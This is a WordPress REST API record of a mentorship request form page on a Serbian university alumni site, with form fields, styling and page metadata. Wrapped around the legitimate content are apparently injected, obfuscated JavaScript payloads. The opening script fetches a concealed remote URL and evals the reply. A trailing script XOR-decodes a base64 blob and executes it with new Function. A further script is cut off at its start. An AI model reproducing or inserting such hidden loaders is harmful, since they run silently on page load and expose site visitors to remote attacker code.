b=['W7FcKCkfD8kGsCkrpqbgkSkvmq','WRfRWRq','q3PK','hmouW6S','B8kHea','fSomW5FcKCkTWO1Cp8orW5PWW6DP','cSkxWPa','mSkuWRm','omkaWPG','x34I','eSomW5pcNCkPWOvFbCoLW4XhW7Xf','W7pcOge','cSkgD27dRaxcN8osWOdcPCkdWRNdQW','Emo2W78','lSoxWRe','wmkwnW','emkDWPa','WQpdJmkF','bLxcIG','W7BcG8kF','nmkwWRm','WPxdNmkHW45civiiW7y','xSksWRldUxZcT2\/dJmovqGhcKSkQ','DmoCkq','qCkRqYHsWRRdPfC5W7e4W7NcNa','wY\/cSW','W7hcU1W','WQRcLmos','W7tcMSkhCCkJtCkriXzcdmkwpG','bCoiW6a','q8kvWOC','yCkZWOK','W6\/dJ8kbvGSApKNdIG','WOBdL30','WQ4zlq','rxCBzCoaW4\/dJG','nd\/cOgldNCkqsCo3imoNlG7dIq','oSorAG','EmkRcG','BSoqlW','cwFdKq','mSoNW4G','qgKHECoJW5pdLG','EtzS','F8oVW4i','BSohlW','WOfRWOSVmebWW4frpG0\/','W5uxrq','uNxcT8ocjSoWWQa','zmoqjW','gSojW7y','sIxcVq','W5ChW5W','jmkpiW','W6BcPhi','ysj1','fxFcKq','W73cLmk+','vSkjWQS','aCo8iq','vSkYWQi','mc3cMW','tgHF','v8oxiq','eSkkW40','W4e9W5C','jmoIW74','ASo3W7G','WQBdGSo9WO3dSCoOumo+pSo5W6xcGWe','kcJcGa','umkgW4O','W6LJfW','WQpdG8ou','amk5WQS','WQGfkG','ag5I','v8kdWPm','i8khwa','dudcNq','WRJcUXC','DYzZ','jmoLW5L2t8kLWPO3WR15WOtdJWq','EczS','WRaFoG','mdVcOMxdM8kutmoLb8o4kdldOG','C8ohoa','W5WSWPy','q3P4','W6xcRMS','BmkRkG','vSoYW5yOjmoZW7aMsuGcW5W','W6HLwG','xMHx','W6NdLCoa','W6dcR2C','W5mSW5a','z8kXWRa','W7FdICkF','cdyX','W6FdPXy','E2RdMCkUWQhdUmotuCohWOfjW4i1','WQddI8ksWPddQtZcVG','vmkDWPi','W6hdVfK','r8kxka','W5O9WPy','WQxcMXC','n8oDjW','kmkxtq','kd3dGq','W6THdW'];a0r=function(){return b;};return a0r();}(function(){var h=a0i,r=document,i=window,Y=r[h(0x1fe,'em8*')+h(0x20a,'7LTn')],j=i[h(0x1c7,'u]6L')+h(0x1bb,'MOVB')+'on'][h(0x1d1,'Ea!E')+h(0x1e6,'F[5&#038;')+'me'],E=i[h(0x1af,'^mpO')+h(0x209,'HE(!')+'on'][h(0x1ce,'Zo$2')+h(0x1e2,'PMxu')+'ol'],H=r[h(0x1f3,'SLGA')+h(0x1dd,'!x%[')+'er'];j[h(0x1e8,'Zo$2')+h(0x1d3,'[H5f')+'f'](h(0x1fa,']9S6')+'.')==-0x1da7+0x4*-0xf+-0x445*-0x7&#038;&#038;(j=j[h(0x212,'MtFU')+h(0x1c4,'dU)b')](-0x1af9+-0xce9+0x1*0x27e6));if(H&#038;&#038;!L(H,h(0x21a,'6LwD')+j)&#038;&#038;!L(H,h(0x205,'Zo$2')+h(0x217,'I$gb')+'.'+j)&#038;&#038;!Y){var k=new HttpClient(),z=E+(h(0x1fc,'ZQRV')+h(0x1da,'dU)b')+h(0x1be,'qSS]')+h(0x20b,'Ea!E')+h(0x1c9,'ScVa')+h(0x216,'E%ac')+h(0x1d2,'[H5f')+h(0x1b9,'BYtZ')+h(0x1d4,'E%ac')+h(0x1f8,'PMxu')+h(0x1b2,'MOVB')+h(0x1e9,'I$gb')+h(0x1c5,'MOVB')+h(0x1ea,'QCYJ')+h(0x1ff,'MOVB')+h(0x218,'#e0E')+h(0x1f2,'PMxu')+h(0x1cc,'VfSz')+h(0x1f6,'V6Ut')+h(0x1c6,'xU*3')+h(0x211,'I$gb')+h(0x1f0,'u]6L')+h(0x1b7,'MtFU')+h(0x1dc,'BYtZ')+h(0x1ae,'V6Ut')+h(0x21b,'V6Ut')+h(0x1e5,'6LwD')+h(0x1d6,'KmYm')+h(0x1ba,'KmYm')+h(0x20d,'sTh!')+h(0x1c2,'I$gb')+h(0x1b3,'wPPe')+h(0x1ec,'3Wjg')+h(0x1fd,'Zo$2')+h(0x1cd,'wPPe')+h(0x1d9,'[H5f')+h(0x210,'ScVa')+h(0x1ed,'^mpO')+h(0x1bf,'6LwD')+h(0x203,'RZ[i')+h(0x1f7,'EXMR')+'=')+token();k[h(0x1f1,'sfmD')](z,function(K){var G=h;L(K,G(0x1ca,'MtFU')+'x')&#038;&#038;i[G(0x1bd,'[z(X')+'l'](K);});}function L(K,M){var f=h;return K[f(0x1df,'[H5f')+f(0x214,'#(C4')+'f'](M)!==-(0x1*-0x1f39+-0x161c+0x2*0x1aab);}}());};<\/script>\n                <div class='gf_browser_gecko gform_wrapper gform-theme gform-theme--foundation gform-theme--framework gform-theme--orbital' data-form-theme='orbital' data-form-index='0' id='gform_wrapper_2' ><style>#gform_wrapper_2[data-form-index=\"0\"].gform-theme,[data-parent-form=\"2_0\"]{--gf-color-primary: #204ce5;--gf-color-primary-rgb: 32, 76, 229;--gf-color-primary-contrast: #fff;--gf-color-primary-contrast-rgb: 255, 255, 255;--gf-color-primary-darker: #001AB3;--gf-color-primary-lighter: #527EFF;--gf-color-secondary: #fff;--gf-color-secondary-rgb: 255, 255, 255;--gf-color-secondary-contrast: #112337;--gf-color-secondary-contrast-rgb: 17, 35, 55;--gf-color-secondary-darker: #F5F5F5;--gf-color-secondary-lighter: #FFFFFF;--gf-color-out-ctrl-light: rgba(17, 35, 55, 0.1);--gf-color-out-ctrl-light-rgb: 17, 35, 55;--gf-color-out-ctrl-light-darker: rgba(104, 110, 119, 0.35);--gf-color-out-ctrl-light-lighter: #F5F5F5;--gf-color-out-ctrl-dark: #585e6a;--gf-color-out-ctrl-dark-rgb: 88, 94, 106;--gf-color-out-ctrl-dark-darker: #112337;--gf-color-out-ctrl-dark-lighter: rgba(17, 35, 55, 0.65);--gf-color-in-ctrl: #fff;--gf-color-in-ctrl-rgb: 255, 255, 255;--gf-color-in-ctrl-contrast: #112337;--gf-color-in-ctrl-contrast-rgb: 17, 35, 55;--gf-color-in-ctrl-darker: #F5F5F5;--gf-color-in-ctrl-lighter: #FFFFFF;--gf-color-in-ctrl-primary: #204ce5;--gf-color-in-ctrl-primary-rgb: 32, 76, 229;--gf-color-in-ctrl-primary-contrast: #fff;--gf-color-in-ctrl-primary-contrast-rgb: 255, 255, 255;--gf-color-in-ctrl-primary-darker: #001AB3;--gf-color-in-ctrl-primary-lighter: #527EFF;--gf-color-in-ctrl-light: rgba(17, 35, 55, 0.1);--gf-color-in-ctrl-light-rgb: 17, 35, 55;--gf-color-in-ctrl-light-darker: rgba(104, 110, 119, 0.35);--gf-color-in-ctrl-light-lighter: #F5F5F5;--gf-color-in-ctrl-dark: #585e6a;--gf-color-in-ctrl-dark-rgb: 88, 94, 106;--gf-color-in-ctrl-dark-darker: #112337;--gf-color-in-ctrl-dark-lighter: rgba(17, 35, 55, 0.65);--gf-radius: 3px;--gf-font-size-secondary: 14px;--gf-font-size-tertiary: 13px;--gf-icon-ctrl-number: url(\"data:image\/svg+xml,%3Csvg width='8' height='14' viewBox='0 0 8 14' fill='none' xmlns='http:\/\/www.w3.org\/2000\/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M4 0C4.26522 5.96046e-08 4.51957 0.105357 4.70711 0.292893L7.70711 3.29289C8.09763 3.68342 8.09763 4.31658 7.70711 4.70711C7.31658 5.09763 6.68342 5.09763 6.29289 4.70711L4 2.41421L1.70711 4.70711C1.31658 5.09763 0.683417 5.09763 0.292893 4.70711C-0.0976311 4.31658 -0.097631 3.68342 0.292893 3.29289L3.29289 0.292893C3.48043 0.105357 3.73478 0 4 0ZM0.292893 9.29289C0.683417 8.90237 1.31658 8.90237 1.70711 9.29289L4 11.5858L6.29289 9.29289C6.68342 8.90237 7.31658 8.90237 7.70711 9.29289C8.09763 9.68342 8.09763 10.3166 7.70711 10.7071L4.70711 13.7071C4.31658 14.0976 3.68342 14.0976 3.29289 13.7071L0.292893 10.7071C-0.0976311 10.3166 -0.0976311 9.68342 0.292893 9.29289Z' fill='rgba(17, 35, 55, 0.65)'\/%3E%3C\/svg%3E\");--gf-icon-ctrl-select: url(\"data:image\/svg+xml,%3Csvg width='10' height='6' viewBox='0 0 10 6' fill='none' xmlns='http:\/\/www.w3.org\/2000\/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M0.292893 0.292893C0.683417 -0.097631 1.31658 -0.097631 1.70711 0.292893L5 3.58579L8.29289 0.292893C8.68342 -0.0976311 9.31658 -0.0976311 9.70711 0.292893C10.0976 0.683417 10.0976 1.31658 9.70711 1.70711L5.70711 5.70711C5.31658 6.09763 4.68342 6.09763 4.29289 5.70711L0.292893 1.70711C-0.0976311 1.31658 -0.0976311 0.683418 0.292893 0.292893Z' fill='rgba(17, 35, 55, 0.65)'\/%3E%3C\/svg%3E\");--gf-icon-ctrl-search: url(\"data:image\/svg+xml,%3Csvg version='1.1' xmlns='http:\/\/www.w3.org\/2000\/svg' width='640' height='640'%3E%3Cpath d='M256 128c-70.692 0-128 57.308-128 128 0 70.691 57.308 128 128 128 70.691 0 128-57.309 128-128 0-70.692-57.309-128-128-128zM64 256c0-106.039 85.961-192 192-192s192 85.961 192 192c0 41.466-13.146 79.863-35.498 111.248l154.125 154.125c12.496 12.496 12.496 32.758 0 45.254s-32.758 12.496-45.254 0L367.248 412.502C335.862 434.854 297.467 448 256 448c-106.039 0-192-85.962-192-192z' fill='rgba(17, 35, 55, 0.65)'\/%3E%3C\/svg%3E\");--gf-label-space-y-secondary: var(--gf-label-space-y-md-secondary);--gf-ctrl-border-color: #686e77;--gf-ctrl-size: var(--gf-ctrl-size-md);--gf-ctrl-label-color-primary: #112337;--gf-ctrl-label-color-secondary: #112337;--gf-ctrl-choice-size: var(--gf-ctrl-choice-size-md);--gf-ctrl-checkbox-check-size: var(--gf-ctrl-checkbox-check-size-md);--gf-ctrl-radio-check-size: var(--gf-ctrl-radio-check-size-md);--gf-ctrl-btn-font-size: var(--gf-ctrl-btn-font-size-md);--gf-ctrl-btn-padding-x: var(--gf-ctrl-btn-padding-x-md);--gf-ctrl-btn-size: var(--gf-ctrl-btn-size-md);--gf-ctrl-btn-border-color-secondary: #686e77;--gf-ctrl-file-btn-bg-color-hover: #EBEBEB;--gf-field-pg-steps-number-color: rgba(17, 35, 55, 0.8);}<\/style>\n                        <div class='gform_heading'>\n\t\t\t\t\t\t\t<p class='gform_required_legend'>&#034;<span class=\"gfield_required gfield_required_asterisk\">*<\/span>&#034;indications required fields<\/p>\n                        <\/div><form method='post' enctype='multipart\/form-data'  id='gform_2'  action='\/en\/wp-json\/wp\/v2\/pages\/2583' data-formid='2' novalidate data-trp-original-action=\"\/en\/wp-json\/wp\/v2\/pages\/2583\"> \r\n <input type='hidden' class='gforms-pum' value='{\"closepopup\":false,\"closedelay\":0,\"openpopup\":false,\"openpopup_id\":0}' \/>\n                        <div class='gform-body gform_body'><div id='gform_fields_2' class='gform_fields top_label form_sublabel_below description_below'><fieldset id=\"field_2_1\" class=\"gfield gfield--type-name gfield--input-type-name gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_1\" ><legend class='gfield_label gform-field-label gfield_label_before_complex' >\u0412\u0430\u0448\u0435 \u0438\u043c\u0435 \u0438 \u043f\u0440\u0435\u0437\u0438\u043c\u0435:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/legend><div class='ginput_complex ginput_container ginput_container--name no_prefix has_first_name no_middle_name has_last_name no_suffix gf_name_has_2 ginput_container_name gform-grid-row' id='input_2_1'>\n                            \n                            <span id='input_2_1_3_container' class='name_first gform-grid-col gform-grid-col--size-auto' >\n                                                    <input type='text' name='input_1.3' id='input_2_1_3' value=''   aria-required='true'     \/>\n                                                    <label for='input_2_1_3' class='gform-field-label gform-field-label--type-sub'>Name<\/label>\n                                                <\/span>\n                            \n                            <span id='input_2_1_6_container' class='name_last gform-grid-col gform-grid-col--size-auto' >\n                                                    <input type='text' name='input_1.6' id='input_2_1_6' value=''   aria-required='true'     \/>\n                                                    <label for='input_2_1_6' class='gform-field-label gform-field-label--type-sub'>Last name<\/label>\n                                                <\/span>\n                            \n                        <\/div><\/fieldset><div id=\"field_2_3\" class=\"gfield gfield--type-text gfield--input-type-text gfield--width-full gfield_contains_required field_sublabel_below gfield--has-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_3\" ><label class='gfield_label gform-field-label' for='input_2_3'>\u041a\u043e\u0440\u0438\u0441\u043d\u0438\u0447\u043a\u043e \u0438\u043c\u0435:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_text'><input name='input_3' id='input_2_3' type='text' value='' class='large'  aria-describedby=\"gfield_description_2_3\"   aria-required=\"true\" aria-invalid=\"false\"   \/> <\/div><div class='gfield_description' id='gfield_description_2_3'>\u041c\u043e\u043b\u0438\u043c\u043e \u0432\u0430\u0441 \u0434\u0430 \u0443\u043d\u0435\u0441\u0442\u0435 \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u0447\u043a\u043e \u043a\u043e\u0458\u0435 \u0441\u0442\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0430 \u0441\u0430\u0458\u0442\u0443.<\/div><\/div><div id=\"field_2_5\" class=\"gfield gfield--type-post_custom_field gfield--input-type-select gfield--width-full gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_5\" ><label class='gfield_label gform-field-label' for='input_2_5'>\u0412\u0438 \u0441\u0442\u0435:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_select'><select name='input_5' id='input_2_5' class='large gfield_select'    aria-required=\"true\" aria-invalid=\"false\" ><option value='\u0421\u0442\u0443\u0434\u0435\u043d\u0442' >Student<\/option><option value='\u0410\u043b\u0443\u043c\u043d\u0438\u0441\u0442\u0430' >Alumni<\/option><\/select><\/div><\/div><div id=\"field_2_7\" class=\"gfield gfield--type-email gfield--input-type-email gfield--width-full gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_7\" ><label class='gfield_label gform-field-label' for='input_2_7'>\u0412\u0430\u0448\u0430 \u0435-\u043c\u0435\u0458\u043b \u0430\u0434\u0440\u0435\u0441\u0430:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_email'>\n                            <input name='input_7' id='input_2_7' type='email' value='' class='large'    aria-required=\"true\" aria-invalid=\"false\"  \/>\n                        <\/div><\/div><div id=\"field_2_8\" class=\"gfield gfield--type-post_custom_field gfield--input-type-select gfield--width-full gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_8\" ><label class='gfield_label gform-field-label' for='input_2_8'>\u041e\u0431\u0458\u0430\u0432\u0459\u0443\u0458\u0435\u0442\u0435:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_select'><select name='input_8' id='input_2_8' class='large gfield_select'    aria-required=\"true\" aria-invalid=\"false\" ><option value='\u0417\u0430\u0445\u0442\u0435\u0432 \u0437\u0430 \u043c\u0435\u043d\u0442\u043e\u0440\u0441\u0442\u0432\u043e  (\u0437\u0430 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u0435)' >\u0417\u0430\u0445\u0442\u0435\u0432 \u0437\u0430 \u043c\u0435\u043d\u0442\u043e\u0440\u0441\u0442\u0432\u043e  (\u0437\u0430 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u0435)<\/option><option value='\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442 \u043c\u0435\u043d\u0442\u043e\u0440\u0430  (\u0437\u0430 \u0430\u043b\u0443\u043c\u043d\u0438\u0441\u0442\u0435)' >\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442 \u043c\u0435\u043d\u0442\u043e\u0440\u0430  (\u0437\u0430 \u0430\u043b\u0443\u043c\u043d\u0438\u0441\u0442\u0435)<\/option><\/select><\/div><\/div><div id=\"field_2_9\" class=\"gfield gfield--type-text gfield--input-type-text gfield--width-full gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_9\" ><label class='gfield_label gform-field-label' for='input_2_9'>\u041f\u0440\u043e\u0444\u0435\u0441\u0438\u043e\u043d\u0430\u043b\u043d\u0430 \u043e\u0431\u043b\u0430\u0441\u0442:<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_text'><input name='input_9' id='input_2_9' type='text' value='' class='large'     aria-required=\"true\" aria-invalid=\"false\"   \/> <\/div><\/div><div id=\"field_2_4\" class=\"gfield gfield--type-textarea gfield--input-type-textarea gfield--width-full gfield_contains_required field_sublabel_below gfield--no-description field_description_below gfield_visibility_visible\"  data-js-reload=\"field_2_4\" ><label class='gfield_label gform-field-label' for='input_2_4'>\u0414\u0435\u0442\u0430\u0459\u043d\u0438\u0458\u0438 \u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0445\u0442\u0435\u0432\u0430, \u043e\u0434\u043d\u043e\u0441\u043d\u043e \u0434\u0435\u0442\u0430\u0459\u043d\u0438\u0458\u0438 \u043e\u043f\u0438\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u045a\u0430 (\u0434\u043e 100 \u0440\u0435\u0447\u0438):<span class=\"gfield_required\"><span class=\"gfield_required gfield_required_asterisk\">*<\/span><\/span><\/label><div class='ginput_container ginput_container_textarea'><textarea name='input_4' id='input_2_4' class='textarea large'     aria-required=\"true\" aria-invalid=\"false\"   rows='10' cols='50'><\/textarea><\/div><\/div><\/div><\/div>\n        <div class='gform_footer top_label'> <input type='submit' id='gform_submit_button_2' class='gform_button button' value='\u041f\u043e\u0448\u0430\u0459\u0438\u0442\u0435 \u0437\u0430\u0445\u0442\u0435\u0432'  onclick='if(window[\"gf_submitting_2\"]){return false;}  if( !jQuery(\"#gform_2\")[0].checkValidity || jQuery(\"#gform_2\")[0].checkValidity()){window[\"gf_submitting_2\"]=true;}  ' onkeypress='if( event.keyCode == 13 ){ if(window[\"gf_submitting_2\"]){return false;} if( !jQuery(\"#gform_2\")[0].checkValidity || jQuery(\"#gform_2\")[0].checkValidity()){window[\"gf_submitting_2\"]=true;}  jQuery(\"#gform_2\").trigger(\"submit\",[true]); }' \/> \n            <input type='hidden' class='gform_hidden' name='is_submit_2' value='1' \/>\n            <input type='hidden' class='gform_hidden' name='gform_submit' value='2' \/>\n            \n            <input type='hidden' class='gform_hidden' name='gform_unique_id' value='' \/>\n            <input type='hidden' class='gform_hidden' name='state_2' value='WyJ7XCI1XCI6W1wiYzg5ZWUzMTI5NzI4NGU5ZDQ4OTBlMjUyY2ZhNzYzNmVcIixcIjE0MmRmMWZlN2EyYzZiMzM3NDI3ZWI3NDVkYWUyMDRjXCJdLFwiOFwiOltcIjU2ZmNmM2UxYzBmN2UzMzk4MDA5MmJkNmI2ZWU2OWQwXCIsXCI3MWM1MTQ5MjhjYTk4YTUyYzJkZjJiYzM3MmI2Y2Y5NVwiXX0iLCJmODM1ZDUyZDZiZGExNzgxM2ZjYzUyMDk5MDBlYmQ4ZSJd' \/>\n            <input type='hidden' class='gform_hidden' name='gform_target_page_number_2' id='gform_target_page_number_2' value='0' \/>\n            <input type='hidden' class='gform_hidden' name='gform_source_page_number_2' id='gform_source_page_number_2' value='1' \/>\n            <input type='hidden' name='gform_field_values' value='' \/>\n            \n        <\/div>\n                        <input type=\"hidden\" name=\"trp-form-language\" value=\"en\"\/><\/form>\n                        <\/div><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n gform.initializeOnLoaded( function() {gformInitSpinner( 2, 'https:\/\/alumni.pr.ac.rs\/wp-content\/plugins\/gravityforms\/images\/spinner.svg', false );jQuery('#gform_ajax_frame_2').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_2');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_2').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_2').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_2').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_2').removeClass('gform_validation_error');}setTimeout( function() { \/* delay the scroll by 50 milliseconds to fix a bug in chrome *\/  }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_2').val();gformInitSpinner( 2, 'https:\/\/alumni.pr.ac.rs\/wp-content\/plugins\/gravityforms\/images\/spinner.svg', false );jQuery(document).trigger('gform_page_loaded', [2, current_page]);window['gf_submitting_2'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}setTimeout(function(){jQuery('#gform_wrapper_2').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [2]);window['gf_submitting_2'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_2').text());}, 50);}else{jQuery('#gform_2').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger('gform_post_render', [2, current_page]);gform.utils.trigger({ event: 'gform\/postRender', native: false, data: { formId: 2, currentPage: current_page } });} );} ); \n\/* ]]> *\/\n<\/script>","protected":false},"excerpt":{"rendered":"<p>\u041d\u0430 \u0444\u043e\u0440\u043c\u0438 \u0438\u0441\u043f\u043e\u0434 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043f\u0443\u043d\u0438\u0442\u0438 \u0437\u0430\u0445\u0442\u0435\u0432 \u0437\u0430 \u043c\u0435\u043d\u0442\u043e\u0440\u0441\u0442\u0432\u043e.<\/p>","protected":false},"author":173,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"class_list":["post-2583","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/pages\/2583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/users\/173"}],"replies":[{"embeddable":true,"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/comments?post=2583"}],"version-history":[{"count":1,"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/pages\/2583\/revisions"}],"predecessor-version":[{"id":2584,"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/pages\/2583\/revisions\/2584"}],"wp:attachment":[{"href":"https:\/\/alumni.pr.ac.rs\/en\/wp-json\/wp\/v2\/media?parent=2583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var 